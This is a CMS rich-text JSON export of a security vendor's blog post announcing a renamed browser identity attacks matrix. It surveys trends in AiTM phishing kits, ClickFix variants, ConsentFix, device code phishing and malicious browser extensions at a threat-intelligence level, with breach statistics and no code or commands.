"marks":18521,"value":13416,"nodeType":865},{},[],{"data":18523,"marks":18524,"value":13420,"nodeType":865},{},[],{"data":18526,"content":18527,"nodeType":882},{"uri":5307},[18528],{"data":18529,"marks":18530,"value":13427,"nodeType":865},{},[],{"data":18532,"marks":18533,"value":8756,"nodeType":865},{},[],{"data":18535,"content":18536,"nodeType":882},{"uri":13433},[18537],{"data":18538,"marks":18539,"value":13439,"nodeType":865},{},[18540],{"type":997},{"data":18542,"marks":18543,"value":13443,"nodeType":865},{},[],{"data":18545,"content":18546,"nodeType":866},{},[18547],{"data":18548,"marks":18549,"value":13450,"nodeType":865},{},[],{"data":18551,"content":18552,"nodeType":953},{},[],{"data":18554,"content":18555,"nodeType":963},{},[18556],{"data":18557,"marks":18558,"value":13461,"nodeType":865},{},[18559],{"type":961},{"data":18561,"content":18562,"nodeType":866},{},[18563],{"data":18564,"marks":18565,"value":13468,"nodeType":865},{},[],{"data":18567,"content":18568,"nodeType":1458},{},[18569],{"data":18570,"marks":18571,"value":13475,"nodeType":865},{},[],{"data":18573,"content":18574,"nodeType":866},{},[18575,18578,18584,18587,18593,18596,18602],{"data":18576,"marks":18577,"value":13482,"nodeType":865},{},[],{"data":18579,"content":18580,"nodeType":882},{"uri":13485},[18581],{"data":18582,"marks":18583,"value":13490,"nodeType":865},{},[],{"data":18585,"marks":18586,"value":13494,"nodeType":865},{},[],{"data":18588,"content":18589,"nodeType":882},{"uri":13497},[18590],{"data":18591,"marks":18592,"value":13502,"nodeType":865},{},[],{"data":18594,"marks":18595,"value":13506,"nodeType":865},{},[],{"data":18597,"content":18598,"nodeType":882},{"uri":13509},[18599],{"data":18600,"marks":18601,"value":13514,"nodeType":865},{},[],{"data":18603,"marks":18604,"value":13518,"nodeType":865},{},[],{"data":18606,"content":18607,"nodeType":1458},{},[18608],{"data":18609,"marks":18610,"value":13525,"nodeType":865},{},[],{"data":18612,"content":18613,"nodeType":866},{},[18614,18617,18623,18626,18632],{"data":18615,"marks":18616,"value":13532,"nodeType":865},{},[],{"data":18618,"content":18619,"nodeType":882},{"uri":13535},[18620],{"data":18621,"marks":18622,"value":13540,"nodeType":865},{},[],{"data":18624,"marks":18625,"value":13544,"nodeType":865},{},[],{"data":18627,"content":18628,"nodeType":882},{"uri":13547},[18629],{"data":18630,"marks":18631,"value":13552,"nodeType":865},{},[],{"data":18633,"marks":18634,"value":13556,"nodeType":865},{},[],{"data":18636,"content":18637,"nodeType":1458},{},[18638],{"data":18639,"marks":18640,"value":13563,"nodeType":865},{},[],{"data":18642,"content":18643,"nodeType":866},{},[18644,18647,18653,18656,18662,18665,18671],{"data":18645,"marks":18646,"value":13570,"nodeType":865},{},[],{"data":18648,"content":18649,"nodeType":882},{"uri":13573},[18650],{"data":18651,"marks":18652,"value":13578,"nodeType":865},{},[],{"data":18654,"marks":18655,"value":13582,"nodeType":865},{},[],{"data":18657,"content":18658,"nodeType":882},{"uri":13585},[18659],{"data":18660,"marks":18661,"value":13590,"nodeType":865},{},[],{"data":18663,"marks":18664,"value":13594,"nodeType":865},{},[],{"data":18666,"content":18667,"nodeType":882},{"uri":13597},[18668],{"data":18669,"marks":18670,"value":13602,"nodeType":865},{},[],{"data":18672,"marks":18673,"value":13606,"nodeType":865},{},[],{"data":18675,"content":18676,"nodeType":866},{},[18677],{"data":18678,"marks":18679,"value":13613,"nodeType":865},{},[],{"data":18681,"content":18682,"nodeType":953},{},[],{"data":18684,"content":18685,"nodeType":963},{},[18686],{"data":18687,"marks":18688,"value":13624,"nodeType":865},{},[18689],{"type":961},{"data":18691,"content":18692,"nodeType":866},{},[18693,18696,18702],{"data":18694,"marks":18695,"value":13631,"nodeType":865},{},[],{"data":18697,"content":18698,"nodeType":882},{"uri":13634},[18699],{"data":18700,"marks":18701,"value":13639,"nodeType":865},{},[],{"data":18703,"marks":18704,"value":13643,"nodeType":865},{},[],{"data":18706,"content":18707,"nodeType":866},{},[18708],{"data":18709,"marks":18710,"value":13650,"nodeType":865},{},[],{"data":18712,"content":18713,"nodeType":1458},{},[18714],{"data":18715,"marks":18716,"value":13658,"nodeType":865},{},[18717],{"type":961},{"data":18719,"content":18720,"nodeType":866},{},[18721,18724,18728],{"data":18722,"marks":18723,"value":13665,"nodeType":865},{},[],{"data":18725,"marks":18726,"value":3140,"nodeType":865},{},[18727],{"type":961},{"data":18729,"marks":18730,"value":13673,"nodeType":865},{},[],{"data":18732,"content":18733,"nodeType":866},{},[18734],{"data":18735,"marks":18736,"value":13680,"nodeType":865},{},[],{"data":18738,"content":18739,"nodeType":866},{},[18740,18743,18749],{"data":18741,"marks":18742,"value":13687,"nodeType":865},{},[],{"data":18744,"content":18745,"nodeType":882},{"uri":3643},[18746],{"data":18747,"marks":18748,"value":9005,"nodeType":865},{},[],{"data":18750,"marks":18751,"value":13697,"nodeType":865},{},[],{"data":18753,"content":18754,"nodeType":866},{},[18755],{"data":18756,"marks":18757,"value":13704,"nodeType":865},{},[],{"data":18759,"content":18760,"nodeType":953},{},[],{"data":18762,"content":18763,"nodeType":866},{},[18764],{"data":18765,"marks":18766,"value":2792,"nodeType":865},{},[],{"data":18768,"content":18769,"nodeType":866},{},[18770],{"data":18771,"marks":18772,"value":1718,"nodeType":865},{},[],{"data":18774,"content":18775,"nodeType":866},{},[18776,18779,18786],{"data":18777,"marks":18778,"value":21,"nodeType":865},{},[],{"data":18780,"content":18781,"nodeType":882},{"uri":13728},[18782],{"data":18783,"marks":18784,"value":2812,"nodeType":865},{},[18785],{"type":997},{"data":18787,"marks":18788,"value":21,"nodeType":865},{},[],{"data":18790,"content":18791,"nodeType":953},{},[],{"data":18793,"content":18794,"nodeType":963},{},[18795],{"data":18796,"marks":18797,"value":13747,"nodeType":865},{},[18798],{"type":961},{"data":18800,"content":18801,"nodeType":866},{},[18802,18805,18811],{"data":18803,"marks":18804,"value":13754,"nodeType":865},{},[],{"data":18806,"content":18807,"nodeType":882},{"uri":13757},[18808],{"data":18809,"marks":18810,"value":13762,"nodeType":865},{},[],{"data":18812,"marks":18813,"value":13766,"nodeType":865},{},[],{"data":18815,"content":18816,"nodeType":866},{},[18817],{"data":18818,"marks":18819,"value":13773,"nodeType":865},{},[],{"data":18821,"content":18822,"nodeType":2396},{},[18823,18846,18867,18888,18909],{"data":18824,"content":18825,"nodeType":1869},{},[18826,18836],{"data":18827,"content":18828,"nodeType":13791},{},[18829],{"data":18830,"content":18831,"nodeType":866},{},[18832],{"data":18833,"marks":18834,"value":13790,"nodeType":865},{},[18835],{"type":961},{"data":18837,"content":18838,"nodeType":13791},{},[18839],{"data":18840,"content":18841,"nodeType":866},{},[18842],{"data":18843,"marks":18844,"value":13802,"nodeType":865},{},[18845],{"type":961},{"data":18847,"content":18848,"nodeType":1869},{},[18849,18858],{"data":18850,"content":18851,"nodeType":1835},{},[18852],{"data":18853,"content":18854,"nodeType":866},{},[18855],{"data":18856,"marks":18857,"value":13815,"nodeType":865},{},[],{"data":18859,"content":18860,"nodeType":1835},{},[18861],{"data":18862,"content":18863,"nodeType":866},{},[18864],{"data":18865,"marks":18866,"value":13825,"nodeType":865},{},[],{"data":18868,"content":18869,"nodeType":1869},{},[18870,18879],{"data":18871,"content":18872,"nodeType":1835},{},[18873],{"data":18874,"content":18875,"nodeType":866},{},[18876],{"data":18877,"marks":18878,"value":13838,"nodeType":865},{},[],{"data":18880,"content":18881,"nodeType":1835},{},[18882],{"data":18883,"content":18884,"nodeType":866},{},[18885],{"data":18886,"marks":18887,"value":13825,"nodeType":865},{},[],{"data":18889,"content":18890,"nodeType":1869},{},[18891,18900],{"data":18892,"content":18893,"nodeType":1835},{},[18894],{"data":18895,"content":18896,"nodeType":866},{},[18897],{"data":18898,"marks":18899,"value":13860,"nodeType":865},{},[],{"data":18901,"content":18902,"nodeType":1835},{},[18903],{"data":18904,"content":18905,"nodeType":866},{},[18906],{"data":18907,"marks":18908,"value":13870,"nodeType":865},{},[],{"data":18910,"content":18911,"nodeType":1869},{},[18912,18921],{"data":18913,"content":18914,"nodeType":1835},{},[18915],{"data":18916,"content":18917,"nodeType":866},{},[18918],{"data":18919,"marks":18920,"value":13883,"nodeType":865},{},[],{"data":18922,"content":18923,"nodeType":1835},{},[18924],{"data":18925,"content":18926,"nodeType":866},{},[18927],{"data":18928,"marks":18929,"value":13893,"nodeType":865},{},[],{"data":18931,"content":18932,"nodeType":866},{},[18933],{"data":18934,"marks":18935,"value":21,"nodeType":865},{},[],{"items":18937},[18938,18940],{"sys":18939,"name":11426},{"id":11425},{"sys":18941,"name":342},{"id":8410},{"items":18943},[18944],{"fullName":13913,"firstName":13914,"jobTitle":13915,"profilePicture":18945},{"url":13917},{"__typename":1788,"sys":18947,"content":18948,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":19782,"authorsCollection":19788},{"id":15449},{"json":18949},{"data":18950,"content":18951,"nodeType":1739},{},[18952,18971,18990,19008,19014,19017,19025,19032,19039,19046,19053,19061,19064,19072,19079,19086,19093,19099,19107,19125,19132,19139,19155,19163,19192,19208,19215,19243,19251,19281,19288,19296,19314,19321,19328,19334,19341,19349,19367,19374,19393,19400,19403,19411,19418,19504,19511,19527,19530,19560,19579,19586,19593,19596,19604,19623,19630,19637,19654,19657,19665,19672,19705,19712,19729,19747,19753,19756,19763],{"data":18953,"content":18954,"nodeType":866},{},[18955,18959,18967],{"data":18956,"marks":18957,"value":18958,"nodeType":865},{},[],"When we released the ",{"data":18960,"content":18962,"nodeType":882},{"uri":18961},"https://pushsecurity.com/blog/saas-attack-techniques/",[18963],{"data":18964,"marks":18965,"value":18966,"nodeType":865},{},[],"SaaS attack matrix",{"data":18968,"marks":18969,"value":18970,"nodeType":865},{},[]," in 2023, we were anticipating a shift that was just beginning to take shape. The techniques that attackers were using to compromise cloud applications and identities weren't well represented in existing frameworks, and many of the ones we documented hadn't yet been widely observed in the wild.",{"data":18972,"content":18973,"nodeType":866},{},[18974,18978,18986],{"data":18975,"marks":18976,"value":18977,"nodeType":865},{},[],"A year later, we ",{"data":18979,"content":18981,"nodeType":882},{"uri":18980},"https://pushsecurity.com/blog/the-saas-attack-matrix-one-year-on/",[18982],{"data":18983,"marks":18984,"value":18985,"nodeType":865},{},[],"reviewed what had changed",{"data":18987,"marks":18988,"value":18989,"nodeType":865},{},[]," and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. ",{"data":18991,"content":18992,"nodeType":866},{},[18993,18997,19004],{"data":18994,"marks":18995,"value":18996,"nodeType":865},{},[],"Today, we're re-releasing the matrix as the ",{"data":18998,"content":19000,"nodeType":882},{"uri":18999},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/",[19001],{"data":19002,"marks":19003,"value":15454,"nodeType":865},{},[],{"data":19005,"marks":19006,"value":19007,"nodeType":865},{},[],". The name change isn't cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.",{"data":19009,"content":19013,"nodeType":925},{"target":19010},{"sys":19011},{"id":19012,"type":922,"linkType":923},"MSnrBRJtiQxpv2qxFLCVE",[],{"data":19015,"content":19016,"nodeType":953},{},[],{"data":19018,"content":19019,"nodeType":963},{},[19020],{"data":19021,"marks":19022,"value":19024,"nodeType":865},{},[19023],{"type":961},"Why the scope needed to change",{"data":19026,"content":19027,"nodeType":866},{},[19028],{"data":19029,"marks":19030,"value":19031,"nodeType":865},{},[],"The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.",{"data":19033,"content":19034,"nodeType":866},{},[19035],{"data":19036,"marks":19037,"value":19038,"nodeType":865},{},[],"That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they're inside a SaaS application — and didn't give enough weight to the initial access techniques that determine whether attackers get there in the first place.",{"data":19040,"content":19041,"nodeType":866},{},[19042],{"data":19043,"marks":19044,"value":19045,"nodeType":865},{},[],"The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.",{"data":19047,"content":19048,"nodeType":866},{},[19049],{"data":19050,"marks":19051,"value":19052,"nodeType":865},{},[],"Another issue is that \"SaaS\" has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes \"SaaS\" versus cloud versus just \"business IT\" is pretty blurry (and feels like an academic rather than practical difference).",{"data":19054,"content":19055,"nodeType":866},{},[19056],{"data":19057,"marks":19058,"value":19060,"nodeType":865},{},[19059],{"type":961},"So it's less about whether an attack is a \"SaaS attack\" and more about how these attacks actually play out. ",{"data":19062,"content":19063,"nodeType":953},{},[],{"data":19065,"content":19066,"nodeType":963},{},[19067],{"data":19068,"marks":19069,"value":19071,"nodeType":865},{},[19070],{"type":961},"The technique landscape has transformed",{"data":19073,"content":19074,"nodeType":866},{},[19075],{"data":19076,"marks":19077,"value":19078,"nodeType":865},{},[],"The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.",{"data":19080,"content":19081,"nodeType":866},{},[19082],{"data":19083,"marks":19084,"value":19085,"nodeType":865},{},[],"When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn't exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.",{"data":19087,"content":19088,"nodeType":866},{},[19089],{"data":19090,"marks":19091,"value":19092,"nodeType":865},{},[],"In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.",{"data":19094,"content":19098,"nodeType":925},{"target":19095},{"sys":19096},{"id":19097,"type":922,"linkType":923},"5Kw2kSrL8u4VyslxK8HCtR",[],{"data":19100,"content":19101,"nodeType":1458},{},[19102],{"data":19103,"marks":19104,"value":19106,"nodeType":865},{},[19105],{"type":961},"AiTM phishing has become the default phishing method",{"data":19108,"content":19109,"nodeType":866},{},[19110,19114,19121],{"data":19111,"marks":19112,"value":19113,"nodeType":865},{},[],"AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for ",{"data":19115,"content":19116,"nodeType":882},{"uri":8581},[19117],{"data":19118,"marks":19119,"value":19120,"nodeType":865},{},[],"62% of phishing detected by Microsoft",{"data":19122,"marks":19123,"value":19124,"nodeType":865},{},[]," and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.",{"data":19126,"content":19127,"nodeType":866},{},[19128],{"data":19129,"marks":19130,"value":19131,"nodeType":865},{},[],"AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  ",{"data":19133,"content":19134,"nodeType":866},{},[19135],{"data":19136,"marks":19137,"value":19138,"nodeType":865},{},[],"These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.",{"data":19140,"content":19141,"nodeType":866},{},[19142,19146,19151],{"data":19143,"marks":19144,"value":19145,"nodeType":865},{},[],"Vishing has also surged as a delivery channel — CrowdStrike documented a ",{"data":19147,"marks":19148,"value":19150,"nodeType":865},{},[19149],{"type":961},"442% year-over-year increase",{"data":19152,"marks":19153,"value":19154,"nodeType":865},{},[],", and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn't voice calls in isolation; it's voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.",{"data":19156,"content":19157,"nodeType":1458},{},[19158],{"data":19159,"marks":19160,"value":19162,"nodeType":865},{},[19161],{"type":961},"ClickFix is the top reported initial access vector",{"data":19164,"content":19165,"nodeType":866},{},[19166,19170,19177,19181,19188],{"data":19167,"marks":19168,"value":19169,"nodeType":865},{},[],"ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the ",{"data":19171,"content":19172,"nodeType":882},{"uri":10494},[19173],{"data":19174,"marks":19175,"value":19176,"nodeType":865},{},[],"most common initial access vector in 2025",{"data":19178,"marks":19179,"value":19180,"nodeType":865},{},[],", accounting for 47% of observed attacks, while CrowdStrike documented a ",{"data":19182,"content":19183,"nodeType":882},{"uri":1362},[19184],{"data":19185,"marks":19186,"value":19187,"nodeType":865},{},[],"563% increase",{"data":19189,"marks":19190,"value":19191,"nodeType":865},{},[]," in fake CAPTCHA lures (a top ClickFix style).",{"data":19193,"content":19194,"nodeType":866},{},[19195,19199,19204],{"data":19196,"marks":19197,"value":19198,"nodeType":865},{},[],"ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: ",{"data":19200,"marks":19201,"value":19203,"nodeType":865},{},[19202],{"type":961},"4 in 5 ClickFix payloads",{"data":19205,"marks":19206,"value":19207,"nodeType":865},{},[]," intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.",{"data":19209,"content":19210,"nodeType":866},{},[19211],{"data":19212,"marks":19213,"value":19214,"nodeType":865},{},[],"ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.",{"data":19216,"content":19217,"nodeType":866},{},[19218,19222,19229,19233,19239],{"data":19219,"marks":19220,"value":19221,"nodeType":865},{},[],"The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, ",{"data":19223,"content":19224,"nodeType":882},{"uri":11342},[19225],{"data":19226,"marks":19227,"value":19228,"nodeType":865},{},[],"InstallFix",{"data":19230,"marks":19231,"value":19232,"nodeType":865},{},[]," — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But ",{"data":19234,"content":19235,"nodeType":882},{"uri":11102},[19236],{"data":19237,"marks":19238,"value":11095,"nodeType":865},{},[],{"data":19240,"marks":19241,"value":19242,"nodeType":865},{},[]," was a genuinely novel development.",{"data":19244,"content":19245,"nodeType":1458},{},[19246],{"data":19247,"marks":19248,"value":19250,"nodeType":865},{},[19249],{"type":961},"Browser-native ClickFix: ConsentFix",{"data":19252,"content":19253,"nodeType":866},{},[19254,19258,19266,19270,19277],{"data":19255,"marks":19256,"value":19257,"nodeType":865},{},[],"ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was ",{"data":19259,"content":19261,"nodeType":882},{"uri":19260},"https://pushsecurity.com/blog/consentfix-debrief/",[19262],{"data":19263,"marks":19264,"value":19265,"nodeType":865},{},[],"traced to APT29",{"data":19267,"marks":19268,"value":19269,"nodeType":865},{},[]," and has since been ",{"data":19271,"content":19272,"nodeType":882},{"uri":3009},[19273],{"data":19274,"marks":19275,"value":19276,"nodeType":865},{},[],"commercialized on criminal forums",{"data":19278,"marks":19279,"value":19280,"nodeType":865},{},[],", following the same path from state-sponsored technique to commodity criminal tooling that we've seen repeatedly in this space.",{"data":19282,"content":19283,"nodeType":866},{},[19284],{"data":19285,"marks":19286,"value":19287,"nodeType":865},{},[],"ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.",{"data":19289,"content":19290,"nodeType":1458},{},[19291],{"data":19292,"marks":19293,"value":19295,"nodeType":865},{},[19294],{"type":961},"Attackers have pivoted to authorization attacks to get around login controls",{"data":19297,"content":19298,"nodeType":866},{},[19299,19303,19310],{"data":19300,"marks":19301,"value":19302,"nodeType":865},{},[],"Authorization attacks like device code phishing have seen a ",{"data":19304,"content":19305,"nodeType":882},{"uri":1384},[19306],{"data":19307,"marks":19308,"value":19309,"nodeType":865},{},[],"37.5x increase",{"data":19311,"marks":19312,"value":19313,"nodeType":865},{},[]," since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. ",{"data":19315,"content":19316,"nodeType":866},{},[19317],{"data":19318,"marks":19319,"value":19320,"nodeType":865},{},[],"The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.",{"data":19322,"content":19323,"nodeType":866},{},[19324],{"data":19325,"marks":19326,"value":19327,"nodeType":865},{},[],"The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.",{"data":19329,"content":19333,"nodeType":925},{"target":19330},{"sys":19331},{"id":19332,"type":922,"linkType":923},"2WPb41lNRajdpt5pogQg8M",[],{"data":19335,"content":19336,"nodeType":866},{},[19337],{"data":19338,"marks":19339,"value":19340,"nodeType":865},{},[],"And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.",{"data":19342,"content":19343,"nodeType":1458},{},[19344],{"data":19345,"marks":19346,"value":19348,"nodeType":865},{},[19347],{"type":961},"Malicious and hacked browser extensions are one of the fastest growing threats",{"data":19350,"content":19351,"nodeType":866},{},[19352,19356,19363],{"data":19353,"marks":19354,"value":19355,"nodeType":865},{},[],"Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The ",{"data":19357,"content":19358,"nodeType":882},{"uri":4136},[19359],{"data":19360,"marks":19361,"value":19362,"nodeType":865},{},[],"Cyberhaven compromise",{"data":19364,"marks":19365,"value":19366,"nodeType":865},{},[]," in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.",{"data":19368,"content":19369,"nodeType":866},{},[19370],{"data":19371,"marks":19372,"value":19373,"nodeType":865},{},[],"Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn't count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.",{"data":19375,"content":19376,"nodeType":866},{},[19377,19381,19389],{"data":19378,"marks":19379,"value":19380,"nodeType":865},{},[],"The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that ",{"data":19382,"content":19383,"nodeType":882},{"uri":4136},[19384],{"data":19385,"marks":19386,"value":19388,"nodeType":865},{},[19387],{"type":997},"most malicious extensions didn't start out malicious",{"data":19390,"marks":19391,"value":19392,"nodeType":865},{},[]," — they started as legitimate tools and were turned into weapons after the fact.",{"data":19394,"content":19395,"nodeType":866},{},[19396],{"data":19397,"marks":19398,"value":19399,"nodeType":865},{},[],"None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.",{"data":19401,"content":19402,"nodeType":953},{},[],{"data":19404,"content":19405,"nodeType":963},{},[19406],{"data":19407,"marks":19408,"value":19410,"nodeType":865},{},[19409],{"type":961},"The evolution is playing out in public breaches",{"data":19412,"content":19413,"nodeType":866},{},[19414],{"data":19415,"marks":19416,"value":19417,"nodeType":865},{},[],"It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:",{"data":19419,"content":19420,"nodeType":1049},{},[19421,19442,19464,19484],{"data":19422,"content":19423,"nodeType":1003},{},[19424],{"data":19425,"content":19426,"nodeType":866},{},[19427,19431,19438],{"data":19428,"marks":19429,"value":19430,"nodeType":865},{},[],"When ",{"data":19432,"content":19433,"nodeType":882},{"uri":8759},[19434],{"data":19435,"marks":19436,"value":19437,"nodeType":865},{},[],"Scattered Lapsus$ Hunters",{"data":19439,"marks":19440,"value":19441,"nodeType":865},{},[]," compromised over a thousand organizations' Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.",{"data":19443,"content":19444,"nodeType":1003},{},[19445],{"data":19446,"content":19447,"nodeType":866},{},[19448,19452,19460],{"data":19449,"marks":19450,"value":19451,"nodeType":865},{},[],"When the same collective launched ",{"data":19453,"content":19455,"nodeType":882},{"uri":19454},"https://pushsecurity.com/blog/unpacking-the-latest-slh-campaign/",[19456],{"data":19457,"marks":19458,"value":19459,"nodeType":865},{},[],"AiTM phishing campaigns",{"data":19461,"marks":19462,"value":19463,"nodeType":865},{},[]," targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.",{"data":19465,"content":19466,"nodeType":1003},{},[19467],{"data":19468,"content":19469,"nodeType":866},{},[19470,19473,19480],{"data":19471,"marks":19472,"value":19430,"nodeType":865},{},[],{"data":19474,"content":19475,"nodeType":882},{"uri":11102},[19476],{"data":19477,"marks":19478,"value":19479,"nodeType":865},{},[],"APT29 deployed ConsentFix",{"data":19481,"marks":19482,"value":19483,"nodeType":865},{},[]," across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.",{"data":19485,"content":19486,"nodeType":1003},{},[19487],{"data":19488,"content":19489,"nodeType":866},{},[19490,19493,19500],{"data":19491,"marks":19492,"value":873,"nodeType":865},{},[],{"data":19494,"content":19496,"nodeType":882},{"uri":19495},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024",[19497],{"data":19498,"marks":19499,"value":3909,"nodeType":865},{},[],{"data":19501,"marks":19502,"value":19503,"nodeType":865},{},[]," — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn't Snowflake's application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.",{"data":19505,"content":19506,"nodeType":866},{},[19507],{"data":19508,"marks":19509,"value":19510,"nodeType":865},{},[],"And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. ",{"data":19512,"content":19513,"nodeType":866},{},[19514,19518,19523],{"data":19515,"marks":19516,"value":19517,"nodeType":865},{},[],"One of the key drivers here is the shrinking time-to-exploit. CrowdStrike's average e-crime breakout time is down to ",{"data":19519,"marks":19520,"value":19522,"nodeType":865},{},[19521],{"type":961},"29 minutes",{"data":19524,"marks":19525,"value":19526,"nodeType":865},{},[],", with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.",{"data":19528,"content":19529,"nodeType":953},{},[],{"data":19531,"content":19532,"nodeType":963},{},[19533,19538,19544,19549,19555],{"data":19534,"marks":19535,"value":19537,"nodeType":865},{},[19536],{"type":961},"Sidenote: why we're looking at attacks ",{"data":19539,"marks":19540,"value":19543,"nodeType":865},{},[19541,19542],{"type":944},{"type":961},"in",{"data":19545,"marks":19546,"value":19548,"nodeType":865},{},[19547],{"type":961}," the browser, not ",{"data":19550,"marks":19551,"value":19554,"nodeType":865},{},[19552,19553],{"type":944},{"type":961},"on",{"data":19556,"marks":19557,"value":19559,"nodeType":865},{},[19558],{"type":961}," the browser",{"data":19561,"content":19562,"nodeType":866},{},[19563,19567,19575],{"data":19564,"marks":19565,"value":19566,"nodeType":865},{},[],"Calling this a \"browser attacks\" matrix needs clarification. We're not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they're extraordinarily expensive to develop, and they're increasingly rare. Browser zero-days hit a ",{"data":19568,"content":19570,"nodeType":882},{"uri":19569},"https://cloud.google.com/blog/topics/threat-intelligence/2025-zero-day-review",[19571],{"data":19572,"marks":19573,"value":19574,"nodeType":865},{},[],"historic low of 9%",{"data":19576,"marks":19577,"value":19578,"nodeType":865},{},[]," of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.",{"data":19580,"content":19581,"nodeType":866},{},[19582],{"data":19583,"marks":19584,"value":19585,"nodeType":865},{},[],"In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.",{"data":19587,"content":19588,"nodeType":866},{},[19589],{"data":19590,"marks":19591,"value":19592,"nodeType":865},{},[],"It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.",{"data":19594,"content":19595,"nodeType":953},{},[],{"data":19597,"content":19598,"nodeType":963},{},[19599],{"data":19600,"marks":19601,"value":19603,"nodeType":865},{},[19602],{"type":961},"What hasn't 